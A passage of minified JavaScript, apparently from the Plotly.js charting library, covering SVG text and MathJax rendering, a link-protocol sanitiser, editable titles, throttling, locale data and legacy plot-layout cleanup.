o?M(o):[0,0,0,1]}te.exports=P},3883:function(te,Z,e){var M=e(32396),P=e(91424),o=e(71828),L=null;function S(){if(L!==null)return L;L=!1;var d=o.isIE()||o.isSafari()||o.isIOS();if(window.navigator.userAgent&&!d){var g=Array.from(M.CSS_DECLARATIONS).reverse(),t=window.CSS&&window.CSS.supports||window.supportsCSS;if(typeof t=="function")L=g.some(function(l){return t.apply(null,l)});else{var r=P.tester.append("image").attr("style",M.STYLE),f=window.getComputedStyle(r.node()),a=f.imageRendering;L=g.some(function(l){var u=l[1];return a===u||a===u.toLowerCase()}),r.remove()}}return L}te.exports=S},63893:function(te,Z,e){var M=e(39898),P=e(71828),o=P.strTranslate,L=e(77922),S=e(18783).LINE_SPACING,d=/([^$]*)([$]+[^$]*[$]+)([^$]*)/;Z.convertToTspans=function(O,z,N){var G=O.text(),J=!O.attr("data-notex")&&z&&z._context.typesetMath&&typeof MathJax<"u"&&G.match(d),q=M.select(O.node().parentNode);if(q.empty())return;var ne=O.attr("class")?O.attr("class").split(" ")[0]:"text";ne+="-math",q.selectAll("svg."+ne).remove(),q.selectAll("g."+ne+"-group").remove(),O.style("display",null).attr({"data-unformatted":G,"data-math":"N"});function fe(){q.empty()||(ne=O.attr("class")+"-math",q.select("svg."+ne).remove()),O.text("").style("white-space","pre");var X=k(O.node(),G);X&&O.style("pointer-events","all"),Z.positionText(O),N&&N.call(O)}return J?(z&&z._promises||[]).push(new Promise(function(X){O.style("display","none");var W=parseInt(O.node().style.fontSize,10),V={fontSize:W};a(J[2],V,function(Y,Q,ie){q.selectAll("svg."+ne).remove(),q.selectAll("g."+ne+"-group").remove();var j=Y&&Y.select("svg");if(!j||!j.node()){fe(),X();return}var K=q.append("g").classed(ne+"-group",!0).attr({"pointer-events":"none","data-unformatted":G,"data-math":"Y"});K.node().appendChild(j.node()),Q&&Q.node()&&j.node().insertBefore(Q.node().cloneNode(!0),j.node().firstChild);var oe=ie.width,re=ie.height;j.attr({class:ne,height:re,preserveAspectRatio:"xMinYMin meet"}).style({overflow:"visible","pointer-events":"none"});var le=O.node().style.fill||"black",pe=j.select("g");pe.attr({fill:le,stroke:le});var we=pe.node().getBoundingClientRect(),xe=we.width,ke=we.height;(xe>oe||ke>re)&&(j.style("overflow","hidden"),we=j.node().getBoundingClientRect(),xe=we.width,ke=we.height);var _e=+O.attr("x"),be=+O.attr("y"),ge=W||O.node().getBoundingClientRect().height,Te=-ge/4;if(ne[0]==="y")K.attr({transform:"rotate("+[-90,_e,be]+")"+o(-xe/2,Te-ke/2)});else if(ne[0]==="l")be=Te-ke/2;else if(ne[0]==="a"&&ne.indexOf("atitle")!==0)_e=0,be=Te;else{var Fe=O.attr("text-anchor");_e=_e-xe*(Fe==="middle"?.5:Fe==="end"?1:0),be=be+Te-ke/2}j.attr({x:_e,y:be}),N&&N.call(O,K),X(K)})})):fe(),O};var g=/(<|&lt;|&#60;)/g,t=/(>|&gt;|&#62;)/g;function r(O){return O.replace(g,"\\lt ").replace(t,"\\gt ")}var f=[["$","$"],["\\(","\\)"]];function a(O,z,N){var G=parseInt((MathJax.version||"").split(".")[0]);if(G!==2&&G!==3){P.warn("No MathJax version:",MathJax.version);return}var J,q,ne,fe,X=function(){return q=P.extendDeepAll({},MathJax.Hub.config),ne=MathJax.Hub.processSectionDelay,MathJax.Hub.processSectionDelay!==void 0&&(MathJax.Hub.processSectionDelay=0),MathJax.Hub.Config({messageStyle:"none",tex2jax:{inlineMath:f},displayAlign:"left"})},W=function(){q=P.extendDeepAll({},MathJax.config),MathJax.config.tex||(MathJax.config.tex={}),MathJax.config.tex.inlineMath=f},V=function(){if(J=MathJax.Hub.config.menuSettings.renderer,J!=="SVG")return MathJax.Hub.setRenderer("SVG")},Y=function(){J=MathJax.config.startup.output,J!=="svg"&&(MathJax.config.startup.output="svg")},Q=function(){var le="math-output-"+P.randstr({},64);fe=M.select("body").append("div").attr({id:le}).style({visibility:"hidden",position:"absolute","font-size":z.fontSize+"px"}).text(r(O));var pe=fe.node();return G===2?MathJax.Hub.Typeset(pe):MathJax.typeset([pe])},ie=function(){var le=fe.select(G===2?".MathJax_SVG":".MathJax"),pe=!le.empty()&&fe.select("svg").node();if(!pe)P.log("There was an error in the tex syntax.",O),N();else{var we=pe.getBoundingClientRect(),xe;G===2?xe=M.select("body").select("#MathJax_SVG_glyphs"):xe=le.select("defs"),N(le,xe,we)}fe.remove()},j=function(){if(J!=="SVG")return MathJax.Hub.setRenderer(J)},K=function(){J!=="svg"&&(MathJax.config.startup.output=J)},oe=function(){return ne!==void 0&&(MathJax.Hub.processSectionDelay=ne),MathJax.Hub.Config(q)},re=function(){MathJax.config=q};G===2?MathJax.Hub.Queue(X,V,Q,ie,j,oe):G===3&&(W(),Y(),MathJax.startup.defaultReady(),MathJax.startup.promise.then(function(){Q(),ie(),K(),re()}))}var l={sup:"font-size:70%",sub:"font-size:70%",b:"font-weight:bold",i:"font-style:italic",a:"cursor:pointer",span:"",em:"font-style:italic;font-weight:bold"},u={sub:"0.3em",sup:"-0.6em"},s={sub:"-0.21em",sup:"0.42em"},y="​",c=["http:","https:","mailto:","",void 0,":"],b=Z.NEWLINES=/(\r\n?|\n)/g,h=/(<[^<>]*>)/,i=/<(\/?)([^ >]*)(\s+(.*))?>/i,v=/<br(\s+.*)?>/i;Z.BR_TAG_ALL=/<br(\s+.*)?>/gi;var T=/(^|[\s"'])style\s*=\s*("([^"]*);?"|'([^']*);?')/i,w=/(^|[\s"'])href\s*=\s*("([^"]*)"|'([^']*)')/i,E=/(^|[\s"'])target\s*=\s*("([^"\s]*)"|'([^'\s]*)')/i,p=/(^|[\s"'])popup\s*=\s*("([\w=,]*)"|'([\w=,]*)')/i;function A(O,z){if(!O)return null;var N=O.match(z),G=N&&(N[3]||N[4]);return G&&x(G)}var m=/(^|;)\s*color:/;Z.plainText=function(O,z){z=z||{};for(var N=z.len!==void 0&&z.len!==-1?z.len:1/0,G=z.allowedTags!==void 0?z.allowedTags:["br"],J="...",q=J.length,ne=O.split(h),fe=[],X="",W=0,V=0;V<ne.length;V++){var Y=ne[V],Q=Y.match(i),ie=Q&&Q[2].toLowerCase();if(ie)G.indexOf(ie)!==-1&&(fe.push(Y),X=ie);else{var j=Y.length;if(W+j<N)fe.push(Y),W+=j;else if(W<N){var K=N-W;X&&(X!=="br"||K<=q||j<=q)&&fe.pop(),N>q?fe.push(Y.substr(0,K-q)+J):fe.push(Y.substr(0,K));break}X=""}}return fe.join("")};var n={mu:"μ",amp:"&",lt:"<",gt:">",nbsp:" ",times:"×",plusmn:"±",deg:"°"},C=/&(#\d+|#x[\da-fA-F]+|[a-z]+);/g;function x(O){return O.replace(C,function(z,N){var G;return N.charAt(0)==="#"?G=I(N.charAt(1)==="x"?parseInt(N.substr(2),16):parseInt(N.substr(1),10)):G=n[N],G||z})}Z.convertEntities=x;function I(O){if(!(O>1114111)){var z=String.fromCodePoint;if(z)return z(O);var N=String.fromCharCode;return O<=65535?N(O):N((O>>10)+55232,O%1024+56320)}}function k(O,z){z=z.replace(b," ");var N=!1,G=[],J,q=-1;function ne(){q++;var ke=document.createElementNS(L.svg,"tspan");M.select(ke).attr({class:"line",dy:q*S+"em"}),O.appendChild(ke),J=ke;var _e=G;if(G=[{node:ke}],_e.length>1)for(var be=1;be<_e.length;be++)fe(_e[be])}function fe(ke){var _e=ke.type,be={},ge;if(_e==="a"){ge="a";var Te=ke.target,Fe=ke.href,Oe=ke.popup;Fe&&(be={"xlink:xlink:show":Te==="_blank"||Te.charAt(0)!=="_"?"new":"replace",target:Te,"xlink:xlink:href":Fe},Oe&&(be.onclick='window.open(this.href.baseVal,this.target.baseVal,"'+Oe+'");return false;'))}else ge="tspan";ke.style&&(be.style=ke.style);var Ce=document.createElementNS(L.svg,ge);if(_e==="sup"||_e==="sub"){X(J,y),J.appendChild(Ce);var Be=document.createElementNS(L.svg,"tspan");X(Be,y),M.select(Be).attr("dy",s[_e]),be.dy=u[_e],J.appendChild(Ce),J.appendChild(Be)}else J.appendChild(Ce);M.select(Ce).attr(be),J=ke.node=Ce,G.push(ke)}function X(ke,_e){ke.appendChild(document.createTextNode(_e))}function W(ke){if(G.length===1){P.log("Ignoring unexpected end tag </"+ke+">.",z);return}var _e=G.pop();ke!==_e.type&&P.log("Start tag <"+_e.type+"> doesnt match end tag <"+ke+">. Pretending it did match.",z),J=G[G.length-1].node}var V=v.test(z);V?ne():(J=O,G=[{node:O}]);for(var Y=z.split(h),Q=0;Q<Y.length;Q++){var ie=Y[Q],j=ie.match(i),K=j&&j[2].toLowerCase(),oe=l[K];if(K==="br")ne();else if(oe===void 0)X(J,x(ie));else if(j[1])W(K);else{var re=j[4],le={type:K},pe=A(re,T);if(pe?(pe=pe.replace(m,"$1 fill:"),oe&&(pe+=";"+oe)):oe&&(pe=oe),pe&&(le.style=pe),K==="a"){N=!0;var we=A(re,w);if(we){var xe=B(we);xe&&(le.href=xe,le.target=A(re,E)||"_blank",le.popup=A(re,p))}}fe(le)}}return N}function B(O){var z=encodeURI(decodeURI(O)),N=document.createElement("a"),G=document.createElement("a");N.href=O,G.href=z;var J=N.protocol,q=G.protocol;return c.indexOf(J)!==-1&&c.indexOf(q)!==-1?z:""}Z.sanitizeHTML=function(z){z=z.replace(b," ");for(var N=document.createElement("p"),G=N,J=[],q=z.split(h),ne=0;ne<q.length;ne++){var fe=q[ne],X=fe.match(i),W=X&&X[2].toLowerCase();if(W in l)if(X[1])J.length&&(G=J.pop());else{var V=X[4],Y=A(V,T),Q=Y?{style:Y}:{};if(W==="a"){var ie=A(V,w);if(ie){var j=B(ie);if(j){Q.href=j;var K=A(V,E);K&&(Q.target=K)}}}var oe=document.createElement(W);G.appendChild(oe),M.select(oe).attr(Q),G=oe,J.push(oe)}else G.appendChild(document.createTextNode(x(fe)))}var re="innerHTML";return N[re]},Z.lineCount=function(z){return z.selectAll("tspan.line").size()||1},Z.positionText=function(z,N,G){return z.each(function(){var J=M.select(this);function q(X,W){return W===void 0?(W=J.attr(X),W===null&&(J.attr(X,0),W=0)):J.attr(X,W),W}var ne=q("x",N),fe=q("y",G);this.nodeName==="text"&&J.selectAll("tspan.line").attr({x:ne,y:fe})})};function _(O,z,N){var G=N.horizontalAlign,J=N.verticalAlign||"top",q=O.node().getBoundingClientRect(),ne=z.node().getBoundingClientRect(),fe,X,W;return J==="bottom"?X=function(){return q.bottom-fe.height}:J==="middle"?X=function(){return q.top+(q.height-fe.height)/2}:X=function(){return q.top},G==="right"?W=function(){return q.right-fe.width}:G==="center"?W=function(){return q.left+(q.width-fe.width)/2}:W=function(){return q.left},function(){fe=this.node().getBoundingClientRect();var V=W()-ne.left,Y=X()-ne.top,Q=N.gd||{};if(N.gd){Q._fullLayout._calcInverseTransform(Q);var ie=P.apply3DTransform(Q._fullLayout._invTransform)(V,Y);V=ie[0],Y=ie[1]}return this.style({top:Y+"px",left:V+"px","z-index":1e3}),this}}var F="1px ";Z.makeTextShadow=function(O){var z=F,N=F,G=F;return z+N+G+O+", -"+z+"-"+N+G+O+", "+z+"-"+N+G+O+", -"+z+N+G+O},Z.makeEditable=function(O,z){var N=z.gd,G=z.delegate,J=M.dispatch("edit","input","cancel"),q=G||O;if(O.style({"pointer-events":G?"none":"all"}),O.size()!==1)throw new Error("boo");function ne(){X(),O.style({opacity:0});var W=q.attr("class"),V;W?V="."+W.split(" ")[0]+"-math-group":V="[class*=-math-group]",V&&M.select(O.node().parentNode).select(V).style({opacity:0})}function fe(W){var V=W.node(),Y=document.createRange();Y.selectNodeContents(V);var Q=window.getSelection();Q.removeAllRanges(),Q.addRange(Y),V.focus()}function X(){var W=M.select(N),V=W.select(".svg-container"),Y=V.append("div"),Q=O.node().style,ie=parseFloat(Q.fontSize||12),j=z.text;j===void 0&&(j=O.attr("data-unformatted")),Y.classed("plugin-editable editable",!0).style({position:"absolute","font-family":Q.fontFamily||"Arial","font-size":ie,color:z.fill||Q.fill||"black",opacity:1,"background-color":z.background||"transparent",outline:"#ffffff33 1px solid",margin:[-ie/8+1,0,0,-1].join("px ")+"px",padding:"0","box-sizing":"border-box"}).attr({contenteditable:!0}).text(j).call(_(O,V,z)).on("blur",function(){N._editing=!1,O.text(this.textContent).style({opacity:1});var K=M.select(this).attr("class"),oe;K?oe="."+K.split(" ")[0]+"-math-group":oe="[class*=-math-group]",oe&&M.select(O.node().parentNode).select(oe).style({opacity:0});var re=this.textContent;M.select(this).transition().duration(0).remove(),M.select(document).on("mouseup",null),J.edit.call(O,re)}).on("focus",function(){var K=this;N._editing=!0,M.select(document).on("mouseup",function(){if(M.event.target===K)return!1;document.activeElement===Y.node()&&Y.node().blur()})}).on("keyup",function(){M.event.which===27?(N._editing=!1,O.style({opacity:1}),M.select(this).style({opacity:0}).on("blur",function(){return!1}).transition().remove(),J.cancel.call(O,this.textContent)):(J.input.call(O,this.textContent),M.select(this).call(_(O,V,z)))}).on("keydown",function(){M.event.which===13&&this.blur()}).call(fe)}return z.immediate?ne():q.on("click",ne),M.rebind(O,J,"on")}},79990:function(te,Z){var e={};Z.throttle=function(o,L,S){var d=e[o],g=Date.now();if(!d){for(var t in e)e[t].ts<g-6e4&&delete e[t];d=e[o]={ts:0,timer:null}}M(d);function r(){S(),d.ts=Date.now(),d.onDone&&(d.onDone(),d.onDone=null)}if(g>d.ts+L){r();return}d.timer=setTimeout(function(){r(),d.timer=null},L)},Z.done=function(P){var o=e[P];return!o||!o.timer?Promise.resolve():new Promise(function(L){var S=o.onDone;o.onDone=function(){S&&S(),L(),o.onDone=null}})},Z.clear=function(P){if(P)M(e[P]),delete e[P];else for(var o in e)Z.clear(o)};function M(P){P&&P.timer!==null&&(clearTimeout(P.timer),P.timer=null)}},58163:function(te,Z,e){var M=e(92770);te.exports=function(o,L){if(o>0)return Math.log(o)/Math.LN10;var S=Math.log(Math.min(L[0],L[1]))/Math.LN10;return M(S)||(S=Math.log(Math.max(L[0],L[1]))/Math.LN10-6),S}},90973:function(te,Z,e){var M=te.exports={},P=e(78776).locationmodeToLayer,o=e(96892).zL;M.getTopojsonName=function(L){return[L.scope.replace(/ /g,"-"),"_",L.resolution.toString(),"m"].join("")},M.getTopojsonPath=function(L,S){return L+S+".json"},M.getTopojsonFeatures=function(L,S){var d=P[L.locationmode],g=S.objects[d];return o(S,g).features}},37815:function(te){te.exports={moduleType:"locale",name:"en-US",dictionary:{"Click to enter Colorscale title":"Click to enter Colorscale title"},format:{date:"%m/%d/%Y"}}},92177:function(te){te.exports={moduleType:"locale",name:"en",dictionary:{"Click to enter Colorscale title":"Click to enter Colourscale title"},format:{days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],periods:["AM","PM"],dateTime:"%a %b %e %X %Y",date:"%d/%m/%Y",time:"%H:%M:%S",decimal:".",thousands:",",grouping:[3],currency:["$",""],year:"%Y",month:"%b %Y",dayMonth:"%b %-d",dayMonthYear:"%b %-d, %Y"}}},14458:function(te,Z,e){var M=e(73972);te.exports=function(o){for(var L=M.layoutArrayContainers,S=M.layoutArrayRegexes,d=o.split("[")[0],g,t,r=0;r<S.length;r++)if(t=o.match(S[r]),t&&t.index===0){g=t[0];break}if(g||(g=L[L.indexOf(d)]),!g)return!1;var f=o.substr(g.length);return f?(t=f.match(/^\[(0|[1-9][0-9]*)\](\.(.+))?$/),t?{array:g,index:Number(t[1]),property:t[3]||""}:!1):{array:g,index:"",property:""}}},30962:function(te,Z,e){var M=e(1426).extendFlat,P=e(41965),o={valType:"flaglist",extras:["none"],flags:["calc","clearAxisTypes","plot","style","markerSize","colorbars"]},L={valType:"flaglist",extras:["none"],flags:["calc","plot","legend","ticks","axrange","layoutstyle","modebar","camera","arraydraw","colorbars"]},S=o.flags.slice().concat(["fullReplot"]),d=L.flags.slice().concat("layoutReplot");te.exports={traces:o,layout:L,traceFlags:function(){return g(S)},layoutFlags:function(){return g(d)},update:function(f,a){var l=a.editType;if(l&&l!=="none")for(var u=l.split("+"),s=0;s<u.length;s++)f[u[s]]=!0},overrideAll:t};function g(f){for(var a={},l=0;l<f.length;l++)a[f[l]]=!1;return a}function t(f,a,l){var u=M({},f);for(var s in u){var y=u[s];P(y)&&(u[s]=r(y,a,l,s))}return l==="from-root"&&(u.editType=a),u}function r(f,a,l,u){if(f.valType){var s=M({},f);if(s.editType=a,Array.isArray(f.items)){s.items=new Array(f.items.length);for(var y=0;y<f.items.length;y++)s.items[y]=r(f.items[y],a)}return s}else return t(f,a,u.charAt(0)==="_"?"nested":"from-root")}},58377:function(te,Z,e){var M=e(92770),P=e(27812),o=e(73972),L=e(71828),S=e(74875),d=e(41675),g=e(7901),t=d.cleanId,r=d.getFromTrace,f=o.traceIs;Z.clearPromiseQueue=function(v){Array.isArray(v._promises)&&v._promises.length>0&&L.log("Clearing previous rejected promises from queue."),v._promises=[]},Z.cleanLayout=function(v){var T,w;v||(v={}),v.xaxis1&&(v.xaxis||(v.xaxis=v.xaxis1),delete v.xaxis1),v.yaxis1&&(v.yaxis||(v.yaxis=v.yaxis1),delete v.yaxis1),v.scene1&&(v.scene||(v.scene=v.scene1),delete v.scene1);var E=(S.subplotsRegistry.cartesian||{}).attrRegex,p=(S.subplotsRegistry.polar||{}).attrRegex,A=(S.subplotsRegistry.ternary||{}).attrRegex,m=(S.subplotsRegistry.gl3d||{}).attrRegex,n=Object.keys(v);for(T=0;T<n.length;T++){var C=n[T];if(E&&E.test(C)){var x=v[C];x.anchor&&x.anchor!=="free"&&(x.anchor=t(x.anchor)),x.overlaying&&(x.overlaying=t(x.overlaying)),x.type||(x.isdate?x.type="date":x.islog?x.type="log":x.isdate===!1&&x.islog===!1&&(x.type="linear")),(x.autorange==="withzero"||x.autorange==="tozero")&&(x.autorange=!0,x.rangemode="tozero"),delete x.islog,delete x.isdate,delete x.categories,c(x,"domain")&&delete x.domain,x.autotick!==void 0&&(x.tickmode===void 0&&(x.tickmode=x.autotick?"auto":"linear"),delete x.autotick),l(x)}else if(p&&p.test(C)){var I=v[C];l(I.radialaxis)}else if(A&&A.test(C)){var k=v[C];l(k.aaxis),l(k.baxis),l(k.caxis)}else if(m&&m.test(C)){var B=v[C],_=B.cameraposition;if(Array.isArray(_)&&_[0].length===4){var F=_[0],O=_[1],z=_[2],N=P([],F),G=[];for(w=0;w<3;++w)G[w]=O[w]+z*N[2+4*w];B.camera={eye:{x:G[0],y:G[1],z:G[2]},center:{x:O[0],y:O[1],z:O[2]},up:{x:0,y:0,z:1}},delete B.cameraposition}l(B.xaxis),l(B.yaxis),l(B.zaxis)}}var J=Array.isArray(v.annotations)?v.annotations.length:0;for(T=0;T<J;T++){var q=v.annotations[T];L.isPlainObject(q)&&(q.ref&&(q.ref==="paper"?(q.xref="paper",q.yref="paper"):q.ref==="data"&&(q.xref="x",q.yref="y"),delete q.ref),a(q,"xref"),a(q,"yref"))}var ne=Array.isArray(v.shapes)?v.shapes.length:0;for(T=0;T<ne;T++){var fe=v.shapes[T];L.isPlainObject(fe)&&(a(fe,"xref"),a(fe,"yref"))}var X=Array.isArray(v.images)?v.images.length:0;for(T=0;T<X;T++){var W=v.images[T];L.isPlainObject(W)&&(a(W,"xref"),a(W,"yref"))}var V=v.legend;return V&&(V.x>3?(V.x=1.02,V.xanchor="left"):V.x<-2&&(V.x=-.02,V.xanchor="right"),V.y>3?(V.y=1.02,V.yanchor="bottom"):V.y<-2&&(V.y=-.02,V.yanchor="top")),l(v),v.dragmode==="rotate"&&(v.dragmode="orbit"),g.clean(v),v.template&&v.template.layout&&Z.cleanLayout(v.template.layout),v};function a(v,T){var w=v[T],E=T.charAt(0);w&&w!=="paper"&&(v[T]=t(w,E,!0))}function l(v){v&&((typeof v.title=="string"||typeof v.title=="number")&&(v.title={text:v.title}),T("titlefont","font"),T("titleposition","position"),T("titleside","side"),T("titleoffset","offset"));function T(w,E){var p=v[w],A=v.title&&v.title[E];p&&!A&&(v.title||(v.title={}),v.title[E]=v[w],delete v[w])}}Z.cleanData=function(v){for(var T=0;T<v.length;T++){var w=v[T],E;if(w.type==="histogramy"&&"xbins"in w&&!("ybins"in w)&&(w.ybins=w.xbins,delete w.xbins),w.error_y&&"opacity"in w.error_y){var p=g.defaults,A=w.error_y.color||(f(w,"bar")?g.defaultLine:p[T%p.length]);w.error_y.color=g.addOpacity(g.rgb(A),g.opacity(A)*w.error_y.opacity),delete w.error_y.opacity}if("bardir"in w&&(w.bardir==="h"&&(f(w,"bar")||w.type.substr(0,9)==="histogram")&&(w.orientation="h",Z.swapXYData(w)),delete w.bardir),w.type==="histogramy"&&Z.swapXYData(w),(w.type==="histogramx"||w.type==="histogramy")&&(w.type="histogram"),"scl"in w&&!("colorscale"in w)&&(w.colorscale=w.scl,delete w.scl),"reversescl"in w&&!("reversescale"in w)&&(w.reversescale=w.reversescl,delete w.reversescl),w.xaxis&&(w.xaxis=t(w.xaxis,"x")),w.yaxis&&(w.yaxis=t(w.yaxis,"y")),f(w,"gl3d")&&w.scene&&(w.scene=S.subplotsRegistry.gl3d.cleanId(w.scene)),!f(w,"pie-like")&&!f(w,"bar-like"))if(Array.isArray(w.textposition))for(E=0;E<w.textposition.length;E++)w.textposition[E]=y(w.textposition[E]);else w.textposition&&(w.textposition=y(w.textposition));var m=o.getModule(w);if(m&&m.colorbar){var n=m.colorbar.container,C=n?w[n]:w;C&&C.colorscale&&(C.colorscale==="YIGnBu"&&(C.colorscale="YlGnBu"),C.colorscale==="YIOrRd"&&(C.colorscale="YlOrRd"))}if(w.type==="surface"&&L.isPlainObject(w.contours)){var x=["x","y","z"];for(E=0;E<x.length;E++){var I=w.contours[x[E]];L.isPlainObject(I)&&(I.highlightColor&&(I.highlightcolor=I.highlightColor,delete I.highlightColor),I.highlightWidth&&(I.highlightwidth=I.highlightWidth,delete I.highlightWidth))}}if(w.type==="candlestick"||w.type==="ohlc"){var k=(w.increasing||{}).showlegend!==!1,B=(w.decreasing||{}).showlegend!==!1,_=u(w.increasing),F=u(w.decreasing);if(_!==!1&&F!==!1){var O=s(_,F,k,B);O&&(w.name=O)}else(_||F)&&!w.name&&(w.name=_||F)}if(Array.isArray(w.transforms)){var z=w.transforms;for(E=0;E<z.length;E++){var N=z[E];if(L.isPlainObject(N))switch(N.type){case"filter":N.filtersrc&&(N.target=N.filtersrc,delete N.filtersrc),N.calendar&&(N.valuecalendar||(N.valuecalendar=N.calendar),delete N.calendar);break;case"groupby":if(N.styles=N.styles||N.style,N.styles&&!Array.isArray(N.styles)){var G=N.styles,J=Object.keys(G);N.styles=[];for(var q=0;q<J.length;q++)N.styles.push({target:J[q],value:G[J[q]]})}break}}}c(w,"line")&&delete w.line,"marker"in w&&(c(w.marker,"line")&&delete w.marker.line,c(w,"marker")&&delete w.marker),g.clean(w),w.autobinx&&(delete w.autobinx,delete w.xbins),w.autobiny&&(delete w.autobiny,delete w.ybins),l(w),w.colorbar&&l(w.colorbar),w.marker&&w.marker.colorbar&&l(w.marker.colorbar),w.line&&w.line.colorbar&&l(w.line.colorbar),w.aaxis&&l(w.aaxis),w.baxis&&l(w.baxis)}};function u(v){if(!L.isPlainObject(v))return!1;var T=v.name;return delete v.name,delete v.showlegend,(typeof T=="string"||typeof T=="number")&&String(T)}function s(v,T,w,E){if(w&&!E)return v;if(E&&!w||!v.trim())return T;if(!T.trim())return v;var p=Math.min(v.length,T.length),A;for(A=0;A<p&&v.charAt(A)===T.charAt(A);A++);var m=v.substr(0,A);return m.trim()}function y(v){var T="middle",w="center";return typeof v=="string"&&(v.indexOf("top")!==-1?T="top":v.indexOf("bottom")!==-1&&(T="bottom"),v.indexOf("left")!==-1?w="left":v.indexOf("right")!==-1&&(w="right")),T+" "+w}function c(v,T){return T in v&&typeof v[T]=="object"&&Object.keys(v[T]).length===0}Z.swapXYData=function(v){var T;if(L.swapAttrs(v,["?","?0","d?","?bins","nbins?","autobin?","?src","error_?"]),Array.isArray(v.z)&&Array.isArray(v.z[0])&&(v.transpose?delete v.transpose:v.transpose=!0),v.error_x&&v.error_y){var w=v.error_y,E="copy_ystyle"in w?w.copy_ystyle:!(w.color||w.thickness||w.width);L.swapAttrs(v,["error_?.copy_ystyle"]),E&&L.swapAttrs(v,["error_?.color","error_?.thickness","error_?.width"])}if(typeof v.hoverinfo=="string"){var p=v.hoverinfo.split("+");for(T=0;T<p.length;T++)p[T]==="x"?p[T]="y":p[T]==="y"&&(p[T]="x");v.hoverinfo=p.join("+")}},Z.coerceTraceIndices=function(v,T){if(M(T))return[T];if(!Array.isArray(T)||!T.length)return v.data.map(function(p,A){return A});if(Array.isArray(T)){for(var w=[],E=0;E<T.length;E++)L.isIndex(T[E],v.data.length)?w.push(T[E]):L.warn("trace index (",T[E],") is not a number or is out of bounds");return w}return T},Z.manageArrayContainers=function(v,T,w){var E=v.obj,p=v.parts,A=p.length,m=p[A-1],n=M(m);if(n&&T===null){var C=p.slice(0,A-1).join("."),x=L.nestedProperty(E,C).get();x.splice(m,1)}else n&&v.get()===void 0&&v.get()===void 0&&(w[v.astr]=null),v.set(T)};var b=/(\.[^\[\]\.]+|\[[^\[\]\.]+\])$/;function h(v){var T=v.search(b);if(T>0)return v.substr(0,T)}Z.hasParent=function(v,T){for(var w=h(T);w;){if(w in v)return!0;w=h(w)}return!1};var i=["x","y","z"];Z.clearAxisTypes=function(v,T,w){for(var E=0;E<T.length;E++)for(var p=v._fullData[E],A=0;A<3;A++){var m=r(v,p,i[A]);if(m&&m.type!=="log"){var n=m._name,C=m._id.substr(1);if(C.substr(0,5)==="scene"){if(w[C]!==void 0)continue;n=C+"."+n}var x=n+".type";w[n]===void 0&&w[x]===void 0&&L.nestedProperty(v.layout,x).set(null)}}}},10641:function(te,Z,e){var M=e(72391);Z._doPlot=M._doPlot,Z.newPlot=M.newPlot,Z.restyle=M.restyle,Z.relayout=M.relayout,Z.redraw=M.redraw,Z.update=M.update,Z._guiRestyle=M._guiRestyle,Z._guiRelayout=M._guiRelayout,Z._guiUpdate=M._guiUpdate,Z._storeDirectGUIEdit=M._storeDirectGUIEdit,Z.react=M.react,Z.extendTraces=M.extendTraces,Z.prependTraces=M.prependTraces,Z.addTraces=M.addTraces,Z.deleteTraces=M.deleteTraces,Z.moveTraces=M.moveTraces,Z.purge=M.purge,Z.addFrames=M.addFrames,Z.deleteFrames=M.deleteFrames,Z.animate=M.animate,Z.setPlotConfig=M.setPlotConfig;var P=e(24401).getGraphDiv,o=e(34031).eraseActiveShape;Z.deleteActiveShape=function(S){return o(P(S))},Z.toImage=e(403),Z.validate=e(84936),Z.downloadImage=e(7239);var L=e(96318);Z.makeTemplate=L.makeTemplate,Z.validateTemplate=L.validateTemplate},6611:function(te,Z,e){var M=e(41965),P=e(64213),o=e(47769),L=e(65888).sorterAsc,S=e(73972);Z.containerArrayMatch=e(14458);var d=Z.isAddVal=function(r){return r==="add"||M(r)},g=Z.isRemoveVal=function(r){return r===null||r==="remove"};Z.applyContainerArrayChanges=function(r,f,a,l,u){var s=f.astr,y=S.getComponentMethod(s,"supplyLayoutDefaults"),c=S.getComponentMethod(s,"draw"),b=S.getComponentMethod(s,"drawOne"),h=l.replot||l.recalc||y===P||c===P,i=r.layout,v=r._fullLayout;if(a[""]){Object.keys(a).length>1&&o.warn("Full array edits are incompatible with other edits",s);var T=a[""][""];if(g(T))f.set(null);else if(Array.isArray(T))f.set(T);else return o.warn("Unrecognized full array edit value",s,T),!0;return h?!1:(y(i,v),c(r),!0)}var w=Object.keys(a).map(Number).sort(L),E=f.get(),p=E||[],A=u(v,s).get(),m=[],n=-1,C=p.length,x,I,k,B,_,F,O,z;for(x=0;x<w.length;x++){if(k=w[x],B=a[k],_=Object.keys(B),F=B[""],O=d(F),k<0||k>p.length-(O?0:1)){o.warn("index out of range",s,k);continue}if(F!==void 0)_.length>1&&o.warn("Insertion & removal are incompatible with edits to the same index.",s,k),g(F)?m.push(k):O?(F==="add"&&(F={}),p.splice(k,0,F),A&&A.splice(k,0,{})):o.warn("Unrecognized full object edit value",s,k,F),n===-1&&(n=k);else for(I=0;I<_.length;I++)z=s+"["+k+"].",u(p[k],_[I],z).set(B[_[I]])}for(x=m.length-1;x>=0;x--)p.splice(m[x],1),A&&A.splice(m[x],1);if(p.length?E||f.set(p):f.set(null),h)return!1;if(y(i,v),b!==P){var N;if(n===-1)N=w;else{for(C=Math.max(p.length,C),N=[],x=0;x<w.length&&(k=w[x],!(k>=n));x++)N.push(k);for(x=n;x<C;x++)N.push(x)}for(x=0;x<N.length;x++)b(r,N[x])}else c(r);return!0}},72391:function(te,Z,e){var M=e(39898),P=e(92770),o=e(57035),L=e(71828),S=L.nestedProperty,d=e(11086),g=e(10847),t=e(73972),r=e(86281),f=e(74875),a=e(89298),l=e(91424),u=e(7901),s=e(4305).initInteractions,y=e(77922),c=e(47322).clearOutline,b=e(72075).dfltConfig,h=e(6611),i=e(58377),v=e(61549),T=e(30962),w=e(85555).AX_NAME_PATTERN,E=0,p=5;function A(ae,de,Me,Ie){var Qe;if(ae=L.getGraphDiv(ae),d.init(ae),L.isPlainObject(de)){var et=de;de=et.data,Me=et.layout,Ie=et.config,Qe=et.frames}var pt=d.triggerHandler(ae,"plotly_beforeplot",[de,Me,Ie]);if(pt===!1)return Promise.reject();!de&&!Me&&!L.isPlotDiv(ae)&&L.warn("Calling _doPlot as if redrawing but this container doesn't yet have a plot.",ae);function St(){if(Qe)return 